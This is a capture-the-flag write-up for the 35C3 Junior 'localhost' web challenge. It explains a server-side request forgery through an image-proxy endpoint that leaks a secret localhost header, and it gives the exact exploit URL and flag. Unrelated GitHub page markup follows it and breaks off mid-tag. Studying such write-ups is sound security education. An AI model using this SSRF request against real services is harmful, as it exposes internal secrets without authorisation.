# 35C3 Junior CTF – localhost * **Category:** Web* **Points:** 81 (variable) ## Challenge > We came up with some ingenious solutions to the problem of password reuse. For users, we don't use password auth but send around mails instead. This works well for humans but not for robots. To make test automation possible, we didn't want to send those mails all the time, so instead we introduced the localhost header. If we send a request to our server from the same host, our state-of-the-art python server sets the localhost header to a secret only known to the server. This is bullet-proof, luckily.>> http://35.207.189.79/> > Difficulty Estimate: Medium>> ===============================================>> Good coders should learn one new language every year.>> InfoSec folks are even used to learn one new language for every new problem they face (YMMV).>> If you have not picked up a new challenge in 2018, you're in for a treat.>> We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point.>> Some cool Projects can be created in Wee, like: this, this and that.>> Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py.>> Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here).>> We even added new features to this better server, like server-side Wee evaluation!>> To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. ## Solution Analyzing `http://35.207.189.79/pyserver/server.py` two interesting methods can be discovered. The header is set in the following method. ```[email protected]_requestdef secure(response: Response): if not request.path[-3:] in ["jpg", "png", "gif"]: response.headers["X-Frame-Options"] = "SAMEORIGIN" response.headers["X-Xss-Protection"] = "1; mode=block" response.headers["X-Content-Type-Options"] = "nosniff" response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';" response.headers["Referrer-Policy"] = "no-referrer-when-downgrade" response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \ "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \ "fullscreen *; payment 'self'; " if request.remote_addr == "127.0.0.1": response.headers["X-Localhost-Token"] = LOCALHOST return response``` The functionality that can be abused to generate a request from the same server is the following. ```Python# Proxy images to avoid tainted canvases when [email protected]("/api/proxyimage", methods=["GET"])def proxyimage(): url = request.args.get("url", '') parsed = parse.urlparse(url, "http") # type: parse.ParseResult if not parsed.netloc: parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult url = parsed.geturl() resp = requests.get(url) if not resp.headers["Content-Type"].startswith("image/"): raise Exception("Not a valid image") # See https://stackoverflow.com/a/36601467/1345238 excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection'] headers = [(name, value) for (name, value) in resp.raw.headers.items() if name.lower() not in excluded_headers] response = Response(resp.content, resp.status_code, headers) return response``` This is the functionality used by the `loadImage` method in the programming environment. The server runs at what defined here: ```Pythonif __name__ == "__main__": app.run(host="0.0.0.0", port=8075)``` An image is mandatory to abuse the service, because the Content-Type is strictly checked, but three extensions are blacklisted in the code that sets the target header. Hence, the following image can be used: `img/paperbots.svg`. The exploit is performed with a GET request like the following (or using `0.0.0.0` for the IP address). ```http://35.207.189.79/api/proxyimage?url=http://127.0.0.1:8075/img/paperbots.svg``` The response will contain the flag. ```X-Localhost-Token: 35C3_THIS_HOST_IS_YOUR_HOST_THIS_HOST_IS_LOCAL_HOST```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/2018-12-01-pwn2win at master · diofeher/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="819D:A589:81303FF:8482D84:64122576" data-pjax-transient="true"/><meta name="html-safe-nonce" content="868c927f3af5a878ac9d5cc16fdd3d5fbdeac276c8117cc73dfc3601eab81961" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MTlEOkE1ODk6ODEzMDNGRjo4NDgyRDg0OjY0MTIyNTc2IiwidmlzaXRvcl9pZCI6Ijg2ODIyMjM3OTAwNzg0MzY3MjYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="1f455d233cb428bf25e6466c5d916324ec90b031aa2d48d27fbe886e379551af" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:113044948" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/efaab1fb2cfd9d4a4bd3abd1467e21fd80c1b225a367adeb6ce05f530b5ef236/diofeher/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/2018-12-01-pwn2win at master · diofeher/ctf-writeups" /><meta name="twitter:description" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/efaab1fb2cfd9d4a4bd3abd1467e21fd80c1b225a367adeb6ce05f530b5ef236/diofeher/ctf-writeups" /><meta property="og:image:alt" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/2018-12-01-pwn2win at master · diofeher/ctf-writeups" /><meta property="og:url" content="https://github.com/diofeher/ctf-writeups" /><meta property="og:description" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/diofeher/ctf-writeups git https://github.com/diofeher/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="161360" /><meta name="octolytics-dimension-user_login" content="diofeher" /><meta name="octolytics-dimension-repository_id" content="113044948" /><meta name="octolytics-dimension-repository_nwo" content="diofeher/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="113044948" /><meta name="octolytics-dimension-repository_network_root_nwo" content="diofeher/ctf-writeups" /> <link rel="canonical" href="https://github.com/diofeher/ctf-writeups/tree/master/2018-12-01-pwn2win" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" 